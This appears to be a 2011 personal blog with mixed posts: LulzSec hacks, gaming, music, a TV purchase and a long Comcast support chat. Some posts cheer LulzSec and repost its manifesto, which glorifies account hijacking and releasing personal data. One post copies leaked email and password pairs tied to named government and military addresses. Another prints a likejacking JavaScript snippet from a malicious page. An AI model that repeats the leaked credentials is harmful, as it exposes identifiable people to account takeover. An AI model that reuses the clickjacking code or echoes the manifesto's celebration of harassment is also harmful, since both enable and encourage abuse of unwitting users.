This is totally what my friends are like

Stumbleupon recommended this to me for my weekly stumbles. Amazing.

LuLzsec sails off into the sunset

LuLzSec has announced that their 50 day plundering websites and owning Sony, the CIA, and other high value targets has come to a close. With a final farewell and a tip of the hat to the #AntiSec movement that they seem to have inspired, they announced that they were sailing off into the sunset. Personally, I hope they return, as soon as soon as they shake a little heat from all their opponents/enemies, of course.

. /$$                 /$$            /$$$$$$                    

.| $$                | $$           /$$__  $$                    

.| $$       /$$   /$$| $$ /$$$$$$$$| $$  \__/  /$$$$$$   /$$$$$$$

.| $$      | $$  | $$| $$|____ /$$/|  $$$$$$  /$$__  $$ /$$_____/

.| $$      | $$  | $$| $$   /$$$$/  \____  $$| $$$$$$$$| $$      

.| $$      | $$  | $$| $$  /$$__/   /$$  \ $$| $$_____/| $$      

.| $$$$$$$$|  $$$$$$/| $$ /$$$$$$$$|  $$$$$$/|  $$$$$$$|  $$$$$$.$

.|________/ \______/ |__/|________/ \______/  \_______/ \_______/

                          //Laughing at your security since 2011!

This has to be the greatest comment from a politician. EVER.

"You get to the point where you evolve in your life where everything isn't black and white, good and bad, and you try to do the right thing," McDonald, 64, told reporters.

"You might not like that. You might be very cynical about that. Well, fuck it, I don't care what you think. I'm trying to do the right thing.

"I'm tired of Republican-Democrat politics. They can take the job and shove it. I come from a blue-collar background. I'm trying to do the right thing, and that's where I'm going with this."

-Republican NY State Senator Roy McDonald's

http://www.huffingtonpost.com/2011/06/16/new-york-gay-marriage_n_878358.html?

New TV time? I think so.

I've been thinking for a while now that it's about time that I replaced my TV. Don't get me wrong, my Panasonic Viera 42" is amazing, but I'm just not sure it's cutting it anymore. The picture is still amazing, but after the move my 42" just feels small in the new living room.

I was initially planning on doing a 55" Panasonic 600hz 1080p 3D tv, but I really just can't justify spending that much money on a 55", just to have to turn around and buy a 3D blu-ray player as well. Then I'd be stuck doing the whole buy the whole DVD library over again in 3D. I already waste enough money buying movies, making the jump to 3D when most movies just use it as a gimmick just isn't worth it for me right now.

So my girlfriend got me this shirt in Thailand... And I can't put my finger on why, but I freakin love it.

League of Legends - Season 1 Championships LIVE NOW

It's been an epically long season one for League of Legends players. During the first season of this breakout game, we've seen the hero selection go from a mere handful of heros (~20-30 at start) to a whopping 77 heros to chose from. Riot Games has decided to close out the season with an epic blowout at the largest LAN party every year, Dreamhack in Sweden. With over 188k viewers on the live stream of the games, and the #eSports hashtag trending worldwide on Twitter, League of Legends has solidified it's position in the online competitive gaming community. With epic games constantly streaming at Season 1 League of Legends Livestream, everyone can and should feel free to check out the action that is Dreamhack and League of Legends.

TSM vs aAa was the most amazing game thus far in the livestream experience. At thirty minutes in, the game was practically tied with TSM seeming like they were slipping. aAa had pressed TSM into to their own base, and things were beginning to look bleek. Suddenly, Reginald popped Annie's Tibbers, and chaos struck out. aAa was split and stunned, and TSM dropped 3 players from the aAa attack. From this point, the constant back and forth was so tense that there are no words in english to properly describe. Just prior to the final push, both teams were facing off at Baron. Almost in unison, both teams split for the enemy base, and completed the game in an epic base race in which TSM edged out aAa by 2 hits on the nexus.

In game two, Reginald decided to go with a Zilian build that ended up (in my opinion) costing his team the game. The ulti was priceless in teamfights, but he lacked the ability to take out anyone or be an offensive power.

Ode to LuLz

If you've been a loyal reader to my blog, you already know how much I enjoy detailing the exploits of this new hacking group. It's not because I enjoy watching innocents get owned (although it is damn entertaining), but rather because I believe that far too many people feel entirely too secure online. Now, I'm not one of those crazy conspiracy theorists that believe someone is watching you at all times and you must protect yourself, (but I wouldn't be surprised,) but I do believe that there are precautions that every person should take to anonymize themselves and protect their personal information online. Now this doesn't mean go crazy and immediately go for the highest priced anonymized VPN while paying for it with a prepaid creditcard that you purchased wearing a hoodie, baseball cap, and sunglasses. Internet security can be improved by small things, like not reusing passwords.

On the password front, I've found that if you create a pattern on the keyboard, then modify it each use (i.e. move one key over from the starting position, or alternate caps, even use caps lock on certain sites to mix up the case of the password) that your chances of someone taking over your online identity are almost zero. (or you can use http://passwordchart.net/ to help you make a password.)

Now, nothing is certain on the internet, so don't get a false sense of confidence. And please, for the love of God, never put anything on the internet that you wouldn't want to show your parents, or your kids.

Thank you LuLzSec, for allowing us to teach n00bs these valuable lessons.

d0h/in50mn14c

P.S. Below is LuLzSec's new pastebin. Enjoy.

Dear Internets,

This is Lulz Security, better known as those evil bastards from twitter. We just hit 1000 tweets, and as such we thought it best to have a little chit-chat with our friends (and foes).

For the past month and a bit, we've been causing mayhem and chaos throughout the Internet, attacking several targets including PBS, Sony, Fox, porn websites, FBI, CIA, the U.S. government, Sony some more, online gaming servers (by request of callers, not by our own choice), Sony again, and of course our good friend Sony.

While we've gained many, many supporters, we do have a mass of enemies, albeit mainly gamers. The main anti-LulzSec argument suggests that we're going to bring down more Internet laws by continuing our public shenanigans, and that our actions are causing clowns with pens to write new rules for you. But what if we just hadn't released anything? What if we were silent? That would mean we would be secretly inside FBI affiliates right now, inside PBS, inside Sony... watching... abusing...

Do you think every hacker announces everything they've hacked? We certainly haven't, and we're damn sure others are playing the silent game. Do you feel safe with your Facebook accounts, your Google Mail accounts, your Skype accounts? What makes you think a hacker isn't silently sitting inside all of these right now, sniping out individual people, or perhaps selling them off? You are a peon to these people. A toy. A string of characters with a value.

This is what you should be fearful of, not us releasing things publicly, but the fact that someone hasn't released something publicly. We're sitting on 200,000 Brink users right now that we never gave out. It might make you feel safe knowing we told you, so that Brink users may change their passwords. What if we hadn't told you? No one would be aware of this theft, and we'd have a fresh 200,000 peons to abuse, completely unaware of a breach.

Yes, yes, there's always the argument that releasing everything in full is just as evil, what with accounts being stolen and abused, but welcome to 2011. This is the lulz lizard era, where we do things just because we find it entertaining. Watching someone's Facebook picture turn into a penis and seeing their sister's shocked response is priceless. Receiving angry emails from the man you just sent 10 dildos to because he can't secure his Amazon password is priceless. You find it funny to watch havoc unfold, and we find it funny to cause it. We release personal data so that equally evil people can entertain us with what they do with it.

Most of you reading this love the idea of wrecking someone else's online experience anonymously. It's appealing and unique, there are no two account hijackings that are the same, no two suddenly enraged girlfriends with the same expression when you admit to killing prostitutes from her boyfriend's recently stolen MSN account, and there's certainly no limit to the lulz lizardry that we all partake in on some level.

And that's all there is to it, that's what appeals to our Internet generation. We're attracted to fast-changing scenarios, we can't stand repetitiveness, and we want our shot of entertainment or we just go and browse something else, like an unimpressed zombie. Nyan-nyan-nyan-nyan-nyan-nyan-nyan-nyan, anyway...

Nobody is truly causing the Internet to slip one way or the other, it's an inevitable outcome for us humans. We find, we nom nom nom, we move onto something else that's yummier. We've been entertaining you 1000 times with 140 characters or less, and we'll continue creating things that are exciting and new until we're brought to justice, which we might well be. But you know, we just don't give a living fuck at this point - you'll forget about us in 3 months' time when there's a new scandal to gawk at, or a new shiny thing to click on via your 2D light-filled rectangle. People who can make things work better within this rectangle have power over others; the whitehats who charge $10,000 for something we could teach you how to do over the course of a weekend, providing you aren't mentally disabled.

This is the Internet, where we screw each other over for a jolt of satisfaction. There are peons and lulz lizards; trolls and victims. There's losers that post shit they think matters, and other losers telling them their shit does not matter. In this situation, we are both of these parties, because we're fully aware that every single person that reached this final sentence just wasted a few moments of their time.

Thank you, bitches.

Lulz Security

http://pastebin.com/HZtH523f

International monetary fund hit by hackers

The International Monetary Fund, which manages global financial crises, has been the target of a major cyber attack by hackers seeking access to confidential information about economies across the world.

The IMF collects sensitive information about the financial systems of its 187 member nations Photo: REUTERS 

The IMF announced earlier this week that they were compromised by an unknown attacker using a "Spear-Fishing" attack. For those of you who aren't familiar with "Spear Fishing", it is a method of attack where the attacker gathers information on the company and compiles a list of users/employees, then uses social engineering to coerce the users to view an e-mail or website which activates an attack on their computers. The Spear Fishing attacks are typically delivered by email that either contains an attack file such as a modified PDF, Excel, or Word document, or contains a link to an attack site using something that might trick the user into visiting the site (e.g. Company 2010 policy changes).

This news is most troubling, as the IMF collects private and confidential data from countries around the world concerning their financial well-being, including the status of their currency and spending habits. With this information, the attacker could potentially exploit the confidential information for personal gain, or in an extreme situation, destabilize the currency of a country. Scary stuff indeed.

For more on this story, please visit the link below.
http://www.telegraph.co.uk/finance/8571306/IMF-hit-by-major-cyber-attack.html

Another new Facebook vulnerability stirs up likes

 ______ likes a link.

The World Funniest Condom Commercialfunny-comerccail-condom.blogspot.com

HaHa it's really so funny ~ Don't Miss it!

In case I need to say it, you really don't wanna visit that blog above. The page is the same ol' same ol' click here to load a codec and get your system rooted.

Here is the fun part, but it's still just a typical clickjacking procedure. The page loads an iframe with the like button under the image, and the minute your click on the image or move your mouse within the page, they use that via javascript to trigger the like "click"

Code as follows:

<div id="fb-root"></div>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script> 
<script type="text/javascript" charset="utf-8">
FB.Event.subscribe('edge.create', function(response) {
window.location = "http://world-funniest-condom-video.blogspot.com/";
});
</script>
$(document).ready(function(){
$(document).mousemove(function(e){
x=e.pageX ; y=e.pageY;
$("#like").css({top: (y - 4) + "px", left: (x - 4) + "px"});
});
});
</script>

Lulzsec dumps Pron.com database

LuLzsec is at it again. This time they hit the Pron.com database and dumped usernames and passwords for  ~25,000 accounts. Interestingly enough, none of these user names or passwords seem to work from reports on twitter (and personal investigation ;) ) What gives LuLzSec?

Hi! We like porn (sometimes), so these are email/password
combinations from pron.com which we plundered for the lulz
Check out these government and military email
addresses that signed up to the porn site...
They are too busy fapping to defend their country:
azmeal@cmc.gov.my | ilovedyna
flag@whitehouse.gov | karlmarx
kamarudinalias@mmea.gov.my | 814550
james.ben.hopkins@us.army.mil | j347576
wade.quigley@ang.af.mil | mywife01 <-- American fighter pilot LOL
aaron.c.sewell@us.army.mil | 3689817
Also, double LOL, 55 admin/webmasters of other porn sites:

LuLzsec owns Sony Again. Sownage™ 2 success story.

LuLzSec is at it again. Looks like they weren't content with owning the Sony Pictures database, so they returned  to Sony, This time the BMG record label and did a bit of LuLzing around, making a map and stealing the structure information as they went.

And LuLz were had by everyone, except Sony.

But they weren't done there, seems as if they got bored of taunting people on their twitter, and decided to go back into PSN or the Playstation side of the servers, and steal the source code for Scedev.net, which just happens to be the Sony Online Developer Network. Shortly thereafter they released the source code to the public along with this press release.

. /$$                 /$$            /$$$$$$                     
.| $$                | $$           /$$__  $$                    
.| $$       /$$   /$$| $$ /$$$$$$$$| $$  \__/  /$$$$$$   /$$$$$$$
.| $$      | $$  | $$| $$|____ /$$/|  $$$$$$  /$$__  $$ /$$_____/
.| $$      | $$  | $$| $$   /$$$$/  \____  $$| $$$$$$$$| $$      
.| $$      | $$  | $$| $$  /$$__/   /$$  \ $$| $$_____/| $$      
.| $$$$$$$$|  $$$$$$/| $$ /$$$$$$$$|  $$$$$$/|  $$$$$$$|  $$$$$$.$
.|________/ \______/ |__/|________/ \______/  \_______/ \_______/ 
                          //Laughing at your security since 2011!

.--    .-""-.
.   ) (     )
.  (   )   (
.     /     )
.    (_    _)                     0_,-.__
.      (_  )_                     |_.-._/
.       (    )                    |lulz..\    
.        (__)                     |__--_/           
.     |''   ``\                   |
.     | [Lulz] \                  |      /b/
.     |         \  ,,,---===?A`\  |  ,==y'
.   ___,,,,,---==""\        |M] \ | ;|\ |>
.           _   _   \   ___,|H,,---==""""bno,
.    o  O  (_) (_)   \ /          _     AWAW/
.                     /         _(+)_  dMM/
.      \@_,,,,,,---=="   \      \\|//  MW/
.--''''"                         ===  d/
.                                    //   SET SAIL FOR FAIL!
.                                    ,'_________________________
.   \    \    \     \               ,/~~~~~~~~~~~~~~~~~~~~~~~~~~~
.                         _____    ,'  ~~~   .-""-.~~~~~~  .-""-.
.      .-""-.           ///==---   /`-._ ..-'      -.__..-'
.            `-.__..-' =====\\\\\\ V/  .---\.
.                     ~~~~~~~~~~~~, _',--/_.\  .-""-.
.                            .-""-.___` --  \|         -.__..-


Konichiwa from LulzSec, Sony bastards!

We've recently bought a copy of this great new game called "Hackers vs Sony", but we're unable to play it online due to PSN being obliterated. So we decided to play offline mode for a while and got quite a few trophies. Our latest goal is "Hack Sony 5 Times", so please find enclosed our 5th Sony hack.

Enjoy this 54MB collection of SVN Sony Developer source code. That's hackers 16, Sony 0. Your move!

ACHIEVEMENT UNLOCKED: HACK SONY 6 TIMES! Oh damn, we just did it again, please also find enclosed internal network maps of Sony BMG.

Lulz Security

We sincerely thank you LuLzSec, for harassing the entirety of Sony after they've done nothing but injustice to their dedicated OtherOS users and those who want to develop homebrews. Maybe someday they'll learn.

I won't be holding my breath... :)

Obama posts his first campaign ad for 2012

This video highlights all Obama's great achievements, carefully detailing how he got here and where he's planning to go.

Every day I be shufflin!

Everyday I be Shufflin! LFMAO teaches you how to Charleston, and then teaches how to adapt the Charleston to the Shuffle.



LMFAO busted onto the scene with Lil Jon with the song "Shots", but really broke through with the track "Party Rock Anthem" The chorus of "Everyday I'm shufflin" simply will not allow anyone to not enjoy. If this track doesn't make you bob your head, much less start Charleston Shufflin', then you lack any sort of music sense or soul.




I'll be posting video of Me and Micro shufflin' in tinychat, if we ever get the courage to record it. Record your Charleston or Shuffle and I'll feature you in a later blog, and if you're in Colorado or wanna travel, I'll work my connections and see if I can get you a spot doing GO-GO at some of the Colorado Venues.

Much love and shufflin',

d0h / in50mn14c

Ready, Set, COMCAST FAIL!

So everyone should already know about Comcast's shady business practices, as they've been well documented. (See here, and here, here, oh, there's more that will be added too...)

So, further evidence of Comcast's bait and switch tactics and illegal business practices in action. Comcast has been charging me for the 10mpbs service for the entire month. For the entire month I've been calling in and complaining that my speeds have never reached the promised 20-25mbps they advertise with their new Blast! technology. As a matter of fact, here's the standard benchmark.

http://www.speedtest.net/result/1327771588.png

 http://www.speedtest.net/result/1327772551.png

The interesting part about this is that the Woodland Park speedtest is a 3rd party non-affiliated location, while the Denver, Colorado location is a Comcast sponsored location. Big differences. I smell fishy business. And that's aside from the fact that they've been charging me for double the bandwidth that they've been allocating me. They had also said that my bandwidth allowance would be 500gb per month, as I often upload 1080p videos to my youtube channels. Nothing on that front. I'm stuck at 250gb, which will mean between my HD netflix streaming and my video uploading for youtube alone, I'm hitting their cap.

Kyle: I am also seeing that I only have ~250gb for data, when my girlfriend was being pitched this whole package deal they told us we'd have 500

Kyle: because we use netflix and I work from home, i often send 1-2GB video files to clients

JunSBBL: I see. It could be a provisioning issue. I suggest that to remedy this issue, I bring you over Internet Support to help you with this issue. Is that ok?

Kyle: sounds good

JunSBBL: Great! Is there anything else you need before I transfer you?

Kyle: nope

JunSBBL: Just a quick recap. You needed info on a credit for your account and was informed of that and now you had to be referred to internet support to fix the data range of your internet service.

JunSBBL: Our goal is to provide you with a consistently superior customer experience – that’s our guarantee. Learn more about the Comcast Customer Guarantee athttp://www.comcast.com/corporate/Customers/CustomerGuarantee.html?fss=customer%20guarantee

JunSBBL: If you need assistance in the future, please do not hesitate to contact us through Live Chat or E-Mail (available 24 hours a day, 7 days a week). Comcast also offers great FAQ and Help forums located at www.Comcast.net to help you solve many issues on your own. You can also reach us through our Hotline 1-800-COMCAST (1-800-266-227. Don't forget, you can watch full TV shows and movies online, check out www.xfinitytv.com for more information. Thank you for contacting Comcast! We appreciate your business!

JunSBBL: It's been a pleasure helping you today. Thank your for contacting Comcast and have a great day.

JunSBBL: Please stay connected to the chat for the next available representative.

JunSBBL: Please wait, while the problem is escalated to another analyst

Kyle: My Issue: 2 reps have offered me a $20 credit due to constant internet outages in the first month, but none have been applied to my bill according to the website.

analyst Kent has entered room

KentBCBU: Welcome to Comcast! I hope your day is going well. How may I help you?

analyst Jun Rolin has left room

analyst Jun Rolin has left room

Kyle: I'm seeing that i'm only being allocated 250gb, when the rep that sold us the package over the phone said it should be 500gb when we upgraded to the 20mb

Kyle: also, whenever I do a speedtest from speedtest.net i'm getting no better than 10mb downspeed

KentBCBU: Is this for your speed issue, right?

Kyle: well, it's in addition to the issue i've been having with the router not seeing the DNS server

KentBCBU: YOu have slow connectivity, issue am I right?

KentBCBU: Are you still there? Please let me know if you are still available.

Kyle: slower than advertised

KentBCBU: I'm sorry to hear about the issue you are having with our service. I'm not going to waste any time here, let's get right to fixing it.

KentBCBU: I understand you are having an issue with your service today. I'm sure we can work together to get this fixed.

KentBCBU: May I know how many PC are you connected to the modem?

Kyle: i apologize, i'm attempting to deal with clients that haven't gotten their services because my internet has been down

KentBCBU: That's alright Kyle.

KentBCBU: May I know how many PC are you connected to the modem?

Kyle: 3

Kyle: but when fully loaded I have a Google TV, 2 Ipod Touches, 3 laptops, and a desktop

Kyle: never in use at the same time

KentBCBU: Okay, thank you for that information

Kyle: but ever when it's just my desktop attached directly to the modem, i'm still getting only 10-12 mb

KentBCBU: May I know if you have tried resetting your wireless router?

Kyle: yes, several times

Kyle: I've requested you guys push the newest firmware to the zoom modem as well, since you guys added a password to the modem so I can't do it myself

KentBCBU: Just to set your expectation, I would be sending a reset command to your cable modem as part of our troubleshooting steps. This may cause a series of slight service disruption. Please dont click on anything until you are back online in a couple of minutes, okay?

Kyle: ok

user Kyle has left room

KentBCBU: May you please reset your router now?

Kyle: I believe the router just reset

KentBCBU: Please reset it now

Kyle: Ok, I will be right back

KentBCBU: Thank you

user Kyle has left room

KentBCBU: Thank you Kyle.

KentBCBU: Please check your download speed now in www.speedtest.net

Kyle: http://www.speedtest.net/result/1327771588.png

Kyle: http://www.speedtest.net/result/1327772551.png

Kyle: seems that every test run by comcast is quite padded

Kyle: i get 2-6mbps on any host that's not a comcast speedtest server

KentBCBU: Okay I can see in your service plan under your account you have, the speed plan of 6Mbps and it may reach up to 12Mbps only if you are using one PC and direct connection to the modem

Kyle: no

Kyle: that is incorrect

Kyle: on the bill we have the Blast! internet with 20mbps powerboost up to 25mbps

Kyle: that's what i just paid for for the last month, and you're telling me I didn't get it?

KentBCBU: Oh I see.

Kyle: now i'm fucking pissed

Kyle: not only has my internet been out, but you guys didn't provision my modem and account properly?

Kyle: but billed me for the higher tier service anyways?

KentBCBU: I can see here you own the modem, right?

KentBCBU: Did you receive a new modem from COmcast?

Kyle: no, i did not

Kyle: but the modem i own is docsis 2.0 which reaches up to 20mbps per spec

KentBCBU: I see, I can see here the modem you use is not supported by Blast speed, you are using Docsis 2.0 modem, for you to have the Blast speed, you may need to have the Docsis 3.0 modem

Kyle: and why wasn't this told to me a month and a half ago?

Kyle: when i transferred service and upgraded the packages

KentBCBU: Im so sorry about that Kyle, I just checked it in your equipment used. Im so sorry about the previous technician was not able to inform you about this

Kyle: My question is why is Comcast marketing me a speed that my current modem can attain, but telling me I have to go buy a new modem to get it

Kyle: send me 20mbps on Docsis 2.0 like the specifications for Docsis 2.0 says, or you guys can take the modem that I bought for this bundle and give me one that reaches your specs because you didn't bother telling me I needed Docsis 3.0

KentBCBU: We can have a modem for you Kyle, you may pick up the Docsis 3.0 modem in our local office in your area

Kyle: and how much of a rental fee per month is that going to charge me?

KentBCBU: It will be 5.00/month

Kyle: because i outright bought a modem 45 days ago and was told that I would only need Docsis 2.0 to receive up to 20mbps

Kyle: that's not acceptable

Kyle: i just bought a modem based off your company's lies, i'm not renting one from you

KentBCBU: Im so sorry about that Kyle, if you like you may have your own Docsis 3.0 modem.

KentBCBU: Please accept my unreserved apologies about this issue that cause you Kyle.

Kyle: i'm seriously about to cancel the entire package and go with qwest who will give me a 25mbit ADSL with 10mb up for the same price you're trying to charge me

Kyle: plus they give me the DSL modem for free

KentBCBU: I can certainly understand your frustration.

Kyle: No, you aren't understanding

Kyle: You're telling me I just wasted $75 (a whole bill to your service) on a modem that doesn't meet your specifications. All because one of your reps gave me the wrong information

Kyle: I work IT, I know that DOCSIS 2 can push 20mbps

Kyle: there's no reason comcast as a service shouldn't be giving me what I pay for

Kyle: And the fact that they billed me for the incorrect speed for the entire month is simply not acceptable either

Kyle: I want to speak to a manager. NOW.

Kyle: **** your deescalation procedures

Kyle: I want someone who can actually do something about this mess that your effing company made

KentBCBU: Im sorry about that Kyle.

Kyle: Stop apologizing and get me escalated to a manager

Kyle: skip the supervisor, i'll tear through them in no time

KentBCBU: Let me check this for you now Kyle.

Kyle: No, there will be no checking. This is the reason that Comcast has been slapped with class action lawsuits for misleading business practices and false advertising

KentBCBU: Would that be fine for you if I will put you on hold at most 2 minutes while I check an available supervisor you.

Kyle: do what you have to

KentBCBU: By the way Kyle, may I know the account holder's name?

Kyle: (2 names redacted), and as long as you guys didn't muck up the address transfer more than I already think you did I should be on the account as authorized

KentBCBU: Thank you Kyle

KentBCBU: Im talking with our manager now about your issue.

KentBCBU: Thank you for waiting. I appreciate your patience. I apologize for the wait being a little longer than expected. I just need another minute or two to get everything that we need to get this resolved and discuss about your concern Kyle.

Kyle: Take your time, just make sure it's done right. Next person I'm calling is the District manager for Retail services for Northern Colorado

Kyle: He'll be checking your work, as I've done a lot of business with him before.

KentBCBU: Thank you so much for your time Kyle

KentBCBU: Thank you very much for patiently waiting. I apologize for it being a little longer than expected.

KentBCBU: Kyle, just incase we will be disconnected, may I know what is your best call back number?

Kyle: (redacted)

KentBCBU: Thank you

KentBCBU: Kyle I have the manager now for you, let me transfer you over to her now

Kyle: if we can add that as the primary contact on the account and move my girlfriend's number to the secondary that'd be great

Kyle: ok

KentBCBU: Please wait, while the problem is escalated to another analyst

Kyle: My Issue: 2 reps have offered me a $20 credit due to constant internet outages in the first month, but none have been applied to my bill according to the website.

analyst Jovelyn has entered room

analyst Kent has left room

analyst Kent has left room

SUPJovelynDCBU: Hello, Kyle. How are you today?

Kyle: Not happy

Kyle: this is the 5th rep i've been transferred to today

Kyle: not counting the phone calls i've been trying to make

SUPJovelynDCBU: I am sorry to hear that. I know where you're coming from. Please allow me to review your previous transcript.

Kyle: someone mucked up the transfer of service from the old address to the new, missed every required legal notification

Kyle: you can catch it all here http://in50mn14c.blogspot.com/2011/06/ready-set-comcast-fail.html

Kyle: on my blog that clears 10k hits weekly

SUPJovelynDCBU: Thanks for that information, Kyle. I sure will look into that to ensure resolution on your issue.

SUPJovelynDCBU: I appreciate your patience while on hold.

Kyle: Don't worry about it, I just wanted you to know that the outcome of this entire chat will be posted publicly as you guys are clear using illegal business practices and bait and switch tactics

SUPJovelynDCBU: As per checking, you have been having issues with your internet connection.

Kyle: Yes

SUPJovelynDCBU: That's alright. I will make sure this will be fixed within this interaction.

Kyle: It's been up and down all month, never even hit the 10mbps mark when i'm paying for 20 w/ powerboost of 25mbpss

Kyle: the rep tells me that I'm being billed for 25mbps, but 10 was the effective cap all month

SUPJovelynDCBU: I sincerely apologize for that, Kyle. I myself depend on the internet so much that I am sure I will feel the same way if I was the one experiencing this.

SUPJovelynDCBU: I am on your account now. Please give me another minute to check on the previous notes.

Kyle: they're also telling me that the comcast rep that handled the switchover of addresses misinformed me which modem would be required to service the 20mbps

Kyle: the Docsis 2.0 standard supports up to 20mpbs, and working in the IT field and being told by the comcast rep that handled the address transfer that a Docsis 2.0 would be sufficient, I purchased a Docsis 2.0 modem

Kyle: it is now outside the 30-day return policy

SUPJovelynDCBU: I see. Thanks for all these information, Kyle. This will definitely help us fix the problem.

SUPJovelynDCBU: By the way, I checked your account and I can see there was a ticket created for this same issue last June 3.

SUPJovelynDCBU: Just to verify, has there been a technician sent for this?

Kyle: no, there has not, and last June 3rd was at a different location because the initial technicians that did the installation didn't configure the internet at all during the visit, I had to do the entire setup myself

SUPJovelynDCBU: Oh, that is not so good. I know I have been repeating this but I am sorry this has to happen. No worries, I will do everything on my end so to end this issue once and for all.

SUPJovelynDCBU: I performed a health check on your account and it indeed gave me a negative results.

SUPJovelynDCBU: Is the computer directly connected to the modem?

Kyle: no, it is connected via a WirelessN600+ connection, which is rated at up to 50MBPS with ~5ms of latency overhead

Kyle: technically, it should be able to reach 200-300mbps, but that's not real world usage

SUPJovelynDCBU: Ok. Since I am seeing a problem on my end after the health check, I just want to let you know that we might need to send out our dispatch team to have this fixed. Rest assured we are sending out our best technicians to resolve the problem.

SUPJovelynDCBU: Would this work with you?

Kyle: that's not keeping with your promise of solving the problem today

Kyle: the problem stands that you guys have been charging me for 20-25mpbs, and giving me 10mpbs

Kyle: and the fault lies with the fact that your previous representatives failed to issue the proper information

Kyle: or do the health checks like you did to even see there is a problem with the system

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SUPJovelynDCBU: Actually, what we do on our end to resolve the problem is determine what the issue is. Since we have found out that there is indeed a problem with the service (could be with the modem as well), the resolution is to send out a technician. I also checked your account and you have our Blast service which reaches to 20mbps with powerboost.

Kyle: we've already established the fact that the 20-25mpbs service requires a Docsis 3.0 modem, and that your reps had supplied me with the incorrect information which resulted in me going out and buying a docsis 2,0 modem

Kyle: i'm not paying you guys to bring me out a modem and pretending like you guys didn't***** up

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SUPJovelynDCBU: In behalf of the previous representatives, I would like to apologize for causing this, Kyle. What I am doing now is to help resolve this and to avoid having this same problem moving forward.

Kyle: your representatives have cost me $75 out of pocket, and you can see the type of internet experience i'm getting right now

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Kyle: no, it is connected via a WirelessN600+ connection, which is rated at up to 50MBPS with ~5ms of latency overhead

Kyle: technically, it should be able to reach 200-300mbps, but that's not real world usage

SUPJovelynDCBU: Ok. Since I am seeing a problem on my end after the health check, I just want to let you know that we might need to send out our dispatch team to have this fixed. Rest assured we are sending out our best technicians to resolve the problem.

SUPJovelynDCBU: Would this work with you?

Kyle: that's not keeping with your promise of solving the problem today

Kyle: the problem stands that you guys have been charging me for 20-25mpbs, and giving me 10mpbs

Kyle: and the fault lies with the fact that your previous representatives failed to issue the proper information

Kyle: or do the health checks like you did to even see there is a problem with the system

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SUPJovelynDCBU: Actually, what we do on our end to resolve the problem is determine what the issue is. Since we have found out that there is indeed a problem with the service (could be with the modem as well), the resolution is to send out a technician. I also checked your account and you have our Blast service which reaches to 20mbps with powerboost.

Kyle: we've already established the fact that the 20-25mpbs service requires a Docsis 3.0 modem, and that your reps had supplied me with the incorrect information which resulted in me going out and buying a docsis 2,0 modem

Kyle: i'm not paying you guys to bring me out a modem and pretending like you guys didn't***** up

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SUPJovelynDCBU: In behalf of the previous representatives, I would like to apologize for causing this, Kyle. What I am doing now is to help resolve this and to avoid having this same problem moving forward.

Kyle: your representatives have cost me $75 out of pocket, and you can see the type of internet experience i'm getting right now

At this point, the technician reset my modem and entered in the incorrect values, which resulted in my internet going completely offline for 3 hours. When I came back online I got this message.

SUPJovelynDCBU: Since this has been an issue, I strongly recommend sending out a technician to check everything fix from there.

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SUPJovelynDCBU: Analyst has closed chat and left the room

Yes I linked them here. Yes I'm gonna trash their service every day until they get their shit fixed.